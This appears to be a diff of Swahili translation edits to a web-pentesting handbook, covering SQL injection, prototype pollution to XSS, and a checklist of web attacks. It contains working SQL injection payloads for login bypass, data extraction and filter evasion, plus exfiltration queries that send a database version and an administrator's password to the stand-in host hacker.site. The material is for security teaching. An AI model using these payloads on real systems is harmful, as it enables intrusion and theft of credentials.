Mfano wa exploit ya kutumia **Uchafuzi wa Prototype na kisha XSS** kupitia `postMessage` kwa `iframe`:
 | 
			
		||||
```html
 | 
			
		||||
@ -214,9 +214,9 @@ setTimeout(get_code, 2000)
 | 
			
		||||
```
 | 
			
		||||
Kwa **maelezo zaidi**:
 | 
			
		||||
 | 
			
		||||
- Kiungo cha ukurasa kuhusu [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/)
 | 
			
		||||
- Kiungo cha ukurasa kuhusu [**XSS**](../xss-cross-site-scripting/)
 | 
			
		||||
- Kiungo cha ukurasa kuhusu [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 | 
			
		||||
- Kiungo cha ukurasa kuhusu [**uchafuzi wa prototype**](../deserialization/nodejs-proto-prototype-pollution/index.html)
 | 
			
		||||
- Kiungo cha ukurasa kuhusu [**XSS**](../xss-cross-site-scripting/index.html)
 | 
			
		||||
- Kiungo cha ukurasa kuhusu [**uchafuzi wa prototype upande wa mteja hadi XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 | 
			
		||||
 | 
			
		||||
## Marejeleo
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -53,7 +53,7 @@ HQL does not support comments
 | 
			
		||||
```
 | 
			
		||||
### Kuithibitisha kwa operesheni za kimantiki
 | 
			
		||||
 | 
			
		||||
Njia ya kuaminika ya kuithibitisha udhaifu wa SQL injection inahusisha kutekeleza **operesheni ya kimantiki** na kuangalia matokeo yanayotarajiwa. Kwa mfano, parameter ya GET kama `?username=Peter` inayotoa maudhui sawa inapobadilishwa kuwa `?username=Peter' or '1'='1` inaashiria udhaifu wa SQL injection.
 | 
			
		||||
Njia ya kuaminika ya kuithibitisha udhaifu wa SQL injection inahusisha kutekeleza **operesheni za kimantiki** na kuangalia matokeo yanayotarajiwa. Kwa mfano, parameter ya GET kama `?username=Peter` inayotoa maudhui sawa inapobadilishwa kuwa `?username=Peter' or '1'='1` inaashiria udhaifu wa SQL injection.
 | 
			
		||||
 | 
			
		||||
Vivyo hivyo, matumizi ya **operesheni za kihesabu** yanatumika kama mbinu bora ya kuithibitisha. Kwa mfano, ikiwa kufikia `?id=1` na `?id=2-1` kunatoa matokeo sawa, inaashiria SQL injection.
 | 
			
		||||
 | 
			
		||||
@ -64,7 +64,7 @@ page.asp?id=1' or 1=1 -- results in true
 | 
			
		||||
page.asp?id=1" or 1=1 -- results in true
 | 
			
		||||
page.asp?id=1 and 1=2 -- results in false
 | 
			
		||||
```
 | 
			
		||||
Hii orodha ya maneno iliundwa ili kujaribu **kuhakikisha SQLinjections** kwa njia iliyoelezwa:
 | 
			
		||||
Hii orodha ya maneno iliundwa kujaribu **kuhakikisha SQLinjections** kwa njia iliyoanzishwa:
 | 
			
		||||
 | 
			
		||||
{% file src="../../images/sqli-logic.txt" %}
 | 
			
		||||
 | 
			
		||||
@ -93,7 +93,7 @@ SQLite
 | 
			
		||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
 | 
			
		||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
 | 
			
		||||
```
 | 
			
		||||
Katika baadhi ya matukio **kazi za usingizi hazitaruhusiwa**. Basi, badala ya kutumia kazi hizo unaweza kufanya uchunguzi **ufanye operesheni ngumu** ambazo zitachukua sekunde kadhaa. _Mifano ya mbinu hizi zitajadiliwa tofauti kwenye kila teknolojia (ikiwa ipo)_.
 | 
			
		||||
Katika baadhi ya matukio **kazi za usingizi hazitaruhusiwa**. Basi, badala ya kutumia kazi hizo unaweza kufanya ombi **kufanya operesheni ngumu** ambazo zitachukua sekunde kadhaa. _Mifano ya mbinu hizi zitajadiliwa tofauti kwenye kila teknolojia (ikiwa ipo)_.
 | 
			
		||||
 | 
			
		||||
### Kutambua Nyuma
 | 
			
		||||
 | 
			
		||||
@ -141,12 +141,12 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
 | 
			
		||||
### Kugundua idadi ya safu
 | 
			
		||||
 | 
			
		||||
Ikiwa unaweza kuona matokeo ya ombi hili ndiyo njia bora ya kutumia.\
 | 
			
		||||
Kwanza kabisa, tunahitaji kugundua **idadi** ya **safu** ambazo **ombio la awali** linarejesha. Hii ni kwa sababu **ombio zote mbili zinapaswa kurejesha idadi sawa ya safu**.\
 | 
			
		||||
Mbinu mbili hutumiwa kawaida kwa ajili ya kusudi hili:
 | 
			
		||||
Kwanza kabisa, tunahitaji kugundua **idadi** ya **safu** ambazo **ombio la awali** linarejesha. Hii ni kwa sababu **ombio zote zinapaswa kurejesha idadi sawa ya safu**.\
 | 
			
		||||
Mbinu mbili hutumiwa kawaida kwa ajili ya hili:
 | 
			
		||||
 | 
			
		||||
#### Order/Group by
 | 
			
		||||
 | 
			
		||||
Ili kubaini idadi ya safu katika ombi, ongeza taratibu idadi inayotumika katika **ORDER BY** au **GROUP BY** vifungu hadi jibu la uwongo litakapopatikana. Licha ya kazi tofauti za **GROUP BY** na **ORDER BY** ndani ya SQL, zote zinaweza kutumika kwa njia sawa ili kubaini idadi ya safu za ombi.
 | 
			
		||||
Ili kubaini idadi ya safu katika ombi, ongeza taratibu nambari inayotumika katika **ORDER BY** au **GROUP BY** vifungu hadi jibu la uwongo litakapopatikana. Licha ya kazi tofauti za **GROUP BY** na **ORDER BY** ndani ya SQL, zote zinaweza kutumika kwa njia sawa ili kubaini idadi ya safu za ombi.
 | 
			
		||||
```sql
 | 
			
		||||
1' ORDER BY 1--+    #True
 | 
			
		||||
1' ORDER BY 2--+    #True
 | 
			
		||||
@ -164,7 +164,7 @@ Ili kubaini idadi ya safu katika ombi, ongeza taratibu idadi inayotumika katika
 | 
			
		||||
```
 | 
			
		||||
#### UNION SELECT
 | 
			
		||||
 | 
			
		||||
Chagua thamani zaidi na zaidi za null hadi uchunguzi uwe sahihi:
 | 
			
		||||
Chagua zaidi na zaidi thamani za null hadi uchunguzi uwe sahihi:
 | 
			
		||||
```sql
 | 
			
		||||
1' UNION SELECT null-- - Not working
 | 
			
		||||
1' UNION SELECT null,null-- - Not working
 | 
			
		||||
@ -185,22 +185,22 @@ Katika mifano ifuatayo tutapata jina la hifadhidata zote, jina la meza ya hifadh
 | 
			
		||||
#Column names
 | 
			
		||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
 | 
			
		||||
```
 | 
			
		||||
_Ikuna njia tofauti ya kugundua data hii kwenye kila hifadhidata tofauti, lakini daima ni ile ile mbinu._
 | 
			
		||||
_Hakuna njia tofauti ya kugundua data hii kwenye kila hifadhidata tofauti, lakini daima ni ile ile ya mbinu._
 | 
			
		||||
 | 
			
		||||
## Kutumia Union Iliyofichwa
 | 
			
		||||
 | 
			
		||||
Wakati matokeo ya ombi yanaonekana, lakini kuingilia kati kwa msingi wa umoja kunaonekana kuwa haiwezekani, inamaanisha kuwepo kwa **kuingilia kati kwa msingi wa umoja iliyofichwa**. Hali hii mara nyingi inasababisha hali ya kuingilia kati kwa kipofu. Ili kubadilisha kuingilia kati kwa kipofu kuwa ya msingi wa umoja, ombi la utekelezaji kwenye backend linahitaji kutambuliwa.
 | 
			
		||||
Wakati matokeo ya ombi yanaonekana, lakini sindano ya msingi wa umoja inaonekana haiwezekani, inamaanisha kuwepo kwa **sindano ya msingi wa umoja iliyofichwa**. Hali hii mara nyingi inasababisha hali ya sindano ya kipofu. Ili kubadilisha sindano ya kipofu kuwa ya msingi wa umoja, ombi la utekelezaji kwenye backend linahitaji kutambuliwa.
 | 
			
		||||
 | 
			
		||||
Hii inaweza kufanywa kwa kutumia mbinu za kuingilia kati kwa kipofu pamoja na meza za kawaida zinazohusiana na Mfumo wa Usimamizi wa Hifadhidata (DBMS) wa lengo lako. Ili kuelewa meza hizi za kawaida, inashauriwa kushauriana na nyaraka za DBMS ya lengo.
 | 
			
		||||
Hii inaweza kufanywa kwa kutumia mbinu za sindano ya kipofu pamoja na meza za kawaida maalum kwa Mfumo wa Usimamizi wa Hifadhidata (DBMS) wa lengo lako. Ili kuelewa meza hizi za kawaida, inashauriwa kushauriana na nyaraka za DBMS ya lengo.
 | 
			
		||||
 | 
			
		||||
Mara ombi litakapokuwa limeondolewa, ni muhimu kubadilisha payload yako ili kufunga salama ombi la awali. Kisha, ombi la umoja linaongezwa kwenye payload yako, kuruhusu matumizi ya kuingilia kati kwa msingi wa umoja ambayo sasa inapatikana.
 | 
			
		||||
Mara ombi litakapokuwa limetolewa, ni muhimu kubinafsisha payload yako ili kufunga salama ombi la awali. Kisha, ombi la umoja linaongezwa kwenye payload yako, kuruhusu matumizi ya sindano ya msingi wa umoja inayopatikana hivi karibuni.
 | 
			
		||||
 | 
			
		||||
Kwa ufahamu zaidi, rejelea makala kamili inayopatikana kwenye [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
 | 
			
		||||
 | 
			
		||||
## Kutumia Kosa
 | 
			
		||||
 | 
			
		||||
Ikiwa kwa sababu fulani huwezi kuona **matokeo** ya **ombio** lakini unaweza **kuona ujumbe wa makosa**, unaweza kufanya ujumbe huu wa makosa **kuondoa** data kutoka kwenye hifadhidata.\
 | 
			
		||||
Kufuata mtiririko sawa kama katika matumizi ya Union Based unaweza kuweza kutupa DB.
 | 
			
		||||
Kufuata mtiririko sawa kama katika matumizi ya msingi wa umoja unaweza kuweza kutoa DB.
 | 
			
		||||
```sql
 | 
			
		||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
 | 
			
		||||
```
 | 
			
		||||
@ -213,7 +213,7 @@ Katika kesi hii, unaweza kutumia tabia hiyo kutupa hifadhidata herufi kwa herufi
 | 
			
		||||
```
 | 
			
		||||
## Exploiting Error Blind SQLi
 | 
			
		||||
 | 
			
		||||
Hii ni **kesi ile ile** kama ilivyokuwa awali lakini badala ya kutofautisha kati ya jibu sahihi/kosa kutoka kwa uchunguzi unaweza **kutofautisha kati ya** **kosa** katika uchunguzi wa SQL au la (labda kwa sababu seva ya HTTP inashindwa). Hivyo, katika kesi hii unaweza kulazimisha SQLerror kila wakati unapotabiri kwa usahihi herufi:
 | 
			
		||||
Hii ni **kesi ile ile kama hapo awali** lakini badala ya kutofautisha kati ya jibu sahihi/kosa kutoka kwa uchunguzi unaweza **kutofautisha kati ya** **kosa** katika uchunguzi wa SQL au la (labda kwa sababu seva ya HTTP inashindwa). Hivyo, katika kesi hii unaweza kulazimisha SQLerror kila wakati unapotabiri kwa usahihi herufi:
 | 
			
		||||
```sql
 | 
			
		||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
 | 
			
		||||
```
 | 
			
		||||
@ -231,27 +231,27 @@ Unaweza kutumia stacked queries ili **kutekeleza maswali mengi kwa mfululizo**.
 | 
			
		||||
 | 
			
		||||
## Out of band Exploitation
 | 
			
		||||
 | 
			
		||||
Ikiwa **hakuna njia nyingine** ya unyakuzi **iliyofanya kazi**, unaweza kujaribu kufanya **database iwasilishe** taarifa kwa **mwenyeji wa nje** anayedhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:
 | 
			
		||||
Ikiwa **hakuna njia nyingine** ya unyakuzi **iliyofanya kazi**, unaweza kujaribu kufanya **database** iwasilishe taarifa kwa **mwenyeji wa nje** anayedhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:
 | 
			
		||||
```sql
 | 
			
		||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
 | 
			
		||||
```
 | 
			
		||||
### Uhamasishaji wa data nje ya bendi kupitia XXE
 | 
			
		||||
### Uhamasishaji wa data nje ya mtandao kupitia XXE
 | 
			
		||||
```sql
 | 
			
		||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
 | 
			
		||||
```
 | 
			
		||||
## Automated Exploitation
 | 
			
		||||
 | 
			
		||||
Angalia [SQLMap Cheatsheet](sqlmap/) ili kutumia udhaifu wa SQLi na [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
 | 
			
		||||
Angalia [SQLMap Cheatsheet](sqlmap/index.html) ili kutumia udhaifu wa SQLi na [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
 | 
			
		||||
 | 
			
		||||
## Tech specific info
 | 
			
		||||
 | 
			
		||||
Tumesha jadili njia zote za kutumia udhaifu wa SQL Injection. Pata mbinu zaidi zinazotegemea teknolojia za hifadhidata katika kitabu hiki:
 | 
			
		||||
Tumejadili tayari njia zote za kutumia udhaifu wa SQL Injection. Pata mbinu zaidi zinazotegemea teknolojia za hifadhidata katika kitabu hiki:
 | 
			
		||||
 | 
			
		||||
- [MS Access](ms-access-sql-injection.md)
 | 
			
		||||
- [MSSQL](mssql-injection.md)
 | 
			
		||||
- [MySQL](mysql-injection/)
 | 
			
		||||
- [MySQL](mysql-injection/index.html)
 | 
			
		||||
- [Oracle](oracle-injection.md)
 | 
			
		||||
- [PostgreSQL](postgresql-injection/)
 | 
			
		||||
- [PostgreSQL](postgresql-injection/index.html)
 | 
			
		||||
 | 
			
		||||
Au utaona **mbinu nyingi kuhusu: MySQL, PostgreSQL, Oracle, MSSQL, SQLite na HQL katika** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
 | 
			
		||||
 | 
			
		||||
@ -267,7 +267,7 @@ Orodha ya kujaribu kupita kazi ya kuingia:
 | 
			
		||||
```sql
 | 
			
		||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
 | 
			
		||||
```
 | 
			
		||||
Hii ombi inaonyesha udhaifu wakati MD5 inatumika na kweli kwa pato la raw katika ukaguzi wa uthibitishaji, ikifanya mfumo kuwa hatarini kwa SQL injection. Washambuliaji wanaweza kutumia hii kwa kuunda pembejeo ambazo, zinapohashwa, zinatoa sehemu zisizotarajiwa za amri za SQL, na kusababisha ufikiaji usioidhinishwa.
 | 
			
		||||
Hii query inaonyesha udhaifu wakati MD5 inatumika na kweli kwa pato la raw katika ukaguzi wa uthibitisho, ikifanya mfumo kuwa hatarini kwa SQL injection. Washambuliaji wanaweza kutumia hii kwa kuunda pembejeo ambazo, zinapohashwa, zinatoa sehemu zisizotarajiwa za amri za SQL, na kusababisha ufikiaji usioidhinishwa.
 | 
			
		||||
```sql
 | 
			
		||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
 | 
			
		||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
 | 
			
		||||
@ -285,7 +285,7 @@ Unapaswa kutumia kama jina la mtumiaji kila mstari wa orodha na kama nywila kila
 | 
			
		||||
 | 
			
		||||
### GBK Uhakikisho wa Kupita
 | 
			
		||||
 | 
			
		||||
KAMA ' inakabiliwa unaweza kutumia %A8%27, na wakati ' inakabiliwa itaundwa: 0xA80x5c0x27 (_╘'_)
 | 
			
		||||
KAMA ' inasafishwa unaweza kutumia %A8%27, na wakati ' inasafishwa itaundwa: 0xA80x5c0x27 (_╘'_)
 | 
			
		||||
```sql
 | 
			
		||||
%A8%27 OR 1=1;-- 2
 | 
			
		||||
%8C%A8%27 OR 1=1-- 2
 | 
			
		||||
@ -312,13 +312,13 @@ Ili kufanya hivyo unapaswa kujaribu **kuunda kitu kipya kinachoitwa "master obje
 | 
			
		||||
 | 
			
		||||
- Unda mtumiaji anayeitwa: **AdMIn** (herufi kubwa na ndogo)
 | 
			
		||||
- Unda mtumiaji anayeitwa: **admin=**
 | 
			
		||||
- **SQL Truncation Attack** (wakati kuna aina fulani ya **mipaka ya urefu** katika jina la mtumiaji au barua pepe) --> Unda mtumiaji mwenye jina: **admin \[nafasi nyingi] a**
 | 
			
		||||
- **SQL Truncation Attack** (wakati kuna aina fulani ya **mipaka ya urefu** katika jina la mtumiaji au barua pepe) --> Unda mtumiaji mwenye jina: **admin \[a lot of spaces] a**
 | 
			
		||||
 | 
			
		||||
#### SQL Truncation Attack
 | 
			
		||||
 | 
			
		||||
Ikiwa database ina udhaifu na idadi ya juu ya herufi kwa jina la mtumiaji ni kwa mfano 30 na unataka kujifanya kuwa mtumiaji **admin**, jaribu kuunda jina la mtumiaji linaloitwa: "_admin \[nafasi 30] a_" na nenosiri lolote.
 | 
			
		||||
Ikiwa database ina udhaifu na idadi ya juu ya herufi kwa jina la mtumiaji ni kwa mfano 30 na unataka kujifanya kuwa mtumiaji **admin**, jaribu kuunda jina la mtumiaji linaloitwa: "_admin \[30 spaces] a_" na nenosiri lolote.
 | 
			
		||||
 | 
			
		||||
Database itafanya **ukaguzi** ikiwa **jina la mtumiaji** lililoingizwa **lipo** ndani ya database. Ikiwa **siyo**, itakata **jina la mtumiaji** hadi **idadi ya juu ya herufi iliyoruhusiwa** (katika kesi hii hadi: "_admin \[nafasi 25]_") na kisha it **ondoa moja kwa moja nafasi zote mwishoni ikisasisha** ndani ya database mtumiaji "**admin**" kwa **nenosiri jipya** (kosa fulani linaweza kuonekana lakini haimaanishi kwamba hii haijafanya kazi).
 | 
			
		||||
Database it **hakiki** ikiwa **jina la mtumiaji** lililoingizwa **lipo** ndani ya database. Ikiwa **siyo**, it **kata** **jina la mtumiaji** hadi **idadi ya juu ya herufi** inayoruhusiwa (katika kesi hii hadi: "_admin \[25 spaces]_") na kisha it **ondoa kiotomatiki nafasi zote mwishoni ikisasisha** ndani ya database mtumiaji "**admin**" kwa **nenosiri jipya** (kosa fulani linaweza kuonekana lakini haimaanishi kwamba hii haijafanya kazi).
 | 
			
		||||
 | 
			
		||||
Maelezo zaidi: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
 | 
			
		||||
 | 
			
		||||
@ -402,11 +402,11 @@ No Space (%20) - bypass kutumia mbadala za nafasi
 | 
			
		||||
?id=1%0Aand%0A1=1%0A--
 | 
			
		||||
?id=1%A0and%A01=1%A0--
 | 
			
		||||
```
 | 
			
		||||
No Whitespace - bypass kutumia maoni
 | 
			
		||||
No Whitespace - kupita kwa kutumia maoni
 | 
			
		||||
```sql
 | 
			
		||||
?id=1/*comment*/and/**/1=1/**/--
 | 
			
		||||
```
 | 
			
		||||
No Whitespace - bypass kutumia mabano
 | 
			
		||||
No Whitespace - kupita kwa kutumia mabano
 | 
			
		||||
```sql
 | 
			
		||||
?id=(1)and(1)=(1)--
 | 
			
		||||
```
 | 
			
		||||
@ -426,7 +426,7 @@ Blacklist kutumia maneno muhimu - bypass kutumia herufi kubwa/ndogo
 | 
			
		||||
?id=1 AnD 1=1#
 | 
			
		||||
?id=1 aNd 1=1#
 | 
			
		||||
```
 | 
			
		||||
Blacklist kutumia maneno muhimu yasiyo na tofauti - pitisha kwa kutumia opereta sawa
 | 
			
		||||
Orodha ya madoido ikitumia maneno yasiyo na tofauti ya kesi - pitisha kwa kutumia opereta sawa
 | 
			
		||||
```
 | 
			
		||||
AND   -> && -> %26%26
 | 
			
		||||
OR    -> || -> %7C%7C
 | 
			
		||||
@ -436,8 +436,8 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
 | 
			
		||||
```
 | 
			
		||||
### Scientific Notation WAF bypass
 | 
			
		||||
 | 
			
		||||
You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
 | 
			
		||||
Kimsingi unaweza kutumia noti ya kisayansi kwa njia zisizotarajiwa ili kupita WAF:
 | 
			
		||||
Unaweza kupata maelezo zaidi kuhusu hila hii katika [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
 | 
			
		||||
Kimsingi unaweza kutumia noti ya kisayansi kwa njia zisizotarajiwa ili kuipita WAF:
 | 
			
		||||
```
 | 
			
		||||
-1' or 1.e(1) or '1'='1
 | 
			
		||||
-1' or 1337.1337e1 or '1'='1
 | 
			
		||||
@ -445,9 +445,9 @@ Kimsingi unaweza kutumia noti ya kisayansi kwa njia zisizotarajiwa ili kupita WA
 | 
			
		||||
```
 | 
			
		||||
### Bypass Column Names Restriction
 | 
			
		||||
 | 
			
		||||
Kwanza kabisa, zingatia kwamba ikiwa **swali la asili na jedwali ambalo unataka kutoa bendera kutoka lina idadi sawa ya safu** unaweza tu kufanya: `0 UNION SELECT * FROM flag`
 | 
			
		||||
First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag`
 | 
			
		||||
 | 
			
		||||
Inawezekana **kufikia safu ya tatu ya jedwali bila kutumia jina lake** kwa kutumia swali kama ifuatavyo: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, hivyo katika sqlinjection hii itakuwa kama:
 | 
			
		||||
It’s possible to **access the third column of a table without using its name** using a query like the following: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in an sqlinjection this would looks like:
 | 
			
		||||
```bash
 | 
			
		||||
# This is an example with 3 columns that will extract the column number 3
 | 
			
		||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
 | 
			
		||||
 | 
			
		||||
@ -7,10 +7,10 @@ Katika kila Web Pentest, kuna **sehemu nyingi zilizofichwa na wazi ambazo zinawe
 | 
			
		||||
## Proxies
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Sasa hivi **maombi ya mtandao** kwa kawaida **yanatumia** aina fulani ya **proxies za kati**, ambazo zinaweza (kutumika vibaya) kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kwa kawaida pia unahitaji udhaifu wa ziada katika backend.
 | 
			
		||||
> Siku hizi **maombi ya** **mtandao** kawaida **yanatumia** aina fulani ya **proxies** **za kati**, ambazo zinaweza (kutumika vibaya) kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kawaida pia unahitaji udhaifu wa ziada katika backend.
 | 
			
		||||
 | 
			
		||||
- [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
 | 
			
		||||
- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
 | 
			
		||||
- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/index.html)
 | 
			
		||||
- [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
 | 
			
		||||
- [ ] [**H2C Smuggling**](h2c-smuggling.md)
 | 
			
		||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
 | 
			
		||||
@ -31,20 +31,20 @@ Ikiwa data iliyowekwa inaweza kwa namna fulani kuakisiwa katika jibu, ukurasa un
 | 
			
		||||
- [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
 | 
			
		||||
- [ ] [**Command Injection**](command-injection.md)
 | 
			
		||||
- [ ] [**CRLF**](crlf-0d-0a.md)
 | 
			
		||||
- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/)
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
 | 
			
		||||
- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
 | 
			
		||||
- [ ] [**Open Redirect**](open-redirect.md)
 | 
			
		||||
- [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 | 
			
		||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
 | 
			
		||||
- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
 | 
			
		||||
- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)
 | 
			
		||||
- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/index.html)
 | 
			
		||||
- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/index.html)
 | 
			
		||||
- [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
 | 
			
		||||
- [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
 | 
			
		||||
- [ ] [**XSS**](xss-cross-site-scripting/)
 | 
			
		||||
- [ ] [**XSS**](xss-cross-site-scripting/index.html)
 | 
			
		||||
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
 | 
			
		||||
- [ ] [**XS-Search**](xs-search/)
 | 
			
		||||
- [ ] [**XS-Search**](xs-search/index.html)
 | 
			
		||||
 | 
			
		||||
Baadhi ya udhaifu uliotajwa unahitaji hali maalum, wengine wanahitaji tu maudhui kuakisiwa. Unaweza kupata polygloths za kuvutia ili kujaribu haraka udhaifu katika:
 | 
			
		||||
Baadhi ya udhaifu uliotajwa unahitaji hali maalum, wengine wanahitaji tu maudhui kuakisiwa. Unaweza kupata polygloths kadhaa za kuvutia ili kujaribu haraka udhaifu katika:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
pocs-and-polygloths-cheatsheet/
 | 
			
		||||
@ -52,13 +52,13 @@ pocs-and-polygloths-cheatsheet/
 | 
			
		||||
 | 
			
		||||
### **Search functionalities**
 | 
			
		||||
 | 
			
		||||
Ikiwa kazi hiyo inaweza kutumika kutafuta aina fulani ya data ndani ya backend, huenda unaweza (kutumika vibaya) kuitumia kutafuta data isiyo na mpangilio.
 | 
			
		||||
Ikiwa kazi hiyo inaweza kutumika kutafuta aina fulani ya data ndani ya backend, huenda unaweza (kutumika vibaya) kutafuta data isiyo na mpangilio.
 | 
			
		||||
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
 | 
			
		||||
- [ ] [**NoSQL Injection**](nosql-injection.md)
 | 
			
		||||
- [ ] [**LDAP Injection**](ldap-injection.md)
 | 
			
		||||
- [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
 | 
			
		||||
- [ ] [**SQL Injection**](sql-injection/)
 | 
			
		||||
- [ ] [**SQL Injection**](sql-injection/index.html)
 | 
			
		||||
- [ ] [**XPATH Injection**](xpath-injection.md)
 | 
			
		||||
 | 
			
		||||
### **Forms, WebSockets and PostMsgs**
 | 
			
		||||
@ -67,25 +67,25 @@ Wakati websocket inachapisha ujumbe au fomu inayowaruhusu watumiaji kufanya vite
 | 
			
		||||
 | 
			
		||||
- [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
 | 
			
		||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md)
 | 
			
		||||
- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/)
 | 
			
		||||
- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/index.html)
 | 
			
		||||
 | 
			
		||||
### **HTTP Headers**
 | 
			
		||||
 | 
			
		||||
Kulingana na vichwa vya HTTP vilivyotolewa na seva ya mtandao, udhaifu fulani unaweza kuwepo.
 | 
			
		||||
 | 
			
		||||
- [ ] [**Clickjacking**](clickjacking.md)
 | 
			
		||||
- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
 | 
			
		||||
- [ ] [**Cookies Hacking**](hacking-with-cookies/)
 | 
			
		||||
- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/index.html)
 | 
			
		||||
- [ ] [**Cookies Hacking**](hacking-with-cookies/index.html)
 | 
			
		||||
- [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md)
 | 
			
		||||
 | 
			
		||||
### **Bypasses**
 | 
			
		||||
 | 
			
		||||
Kuna kazi kadhaa maalum ambapo njia mbadala fulani zinaweza kuwa na manufaa kuzipita
 | 
			
		||||
Kuna kazi kadhaa maalum ambapo njia mbadala fulani zinaweza kuwa na manufaa kuzishinda
 | 
			
		||||
 | 
			
		||||
- [ ] [**2FA/OTP Bypass**](2fa-bypass.md)
 | 
			
		||||
- [ ] [**Bypass Payment Process**](bypass-payment-process.md)
 | 
			
		||||
- [ ] [**Captcha Bypass**](captcha-bypass.md)
 | 
			
		||||
- [ ] [**Login Bypass**](login-bypass/)
 | 
			
		||||
- [ ] [**Login Bypass**](login-bypass/index.html)
 | 
			
		||||
- [ ] [**Race Condition**](race-condition.md)
 | 
			
		||||
- [ ] [**Rate Limit Bypass**](rate-limit-bypass.md)
 | 
			
		||||
- [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
 | 
			
		||||
@ -93,10 +93,10 @@ Kuna kazi kadhaa maalum ambapo njia mbadala fulani zinaweza kuwa na manufaa kuzi
 | 
			
		||||
 | 
			
		||||
### **Structured objects / Specific functionalities**
 | 
			
		||||
 | 
			
		||||
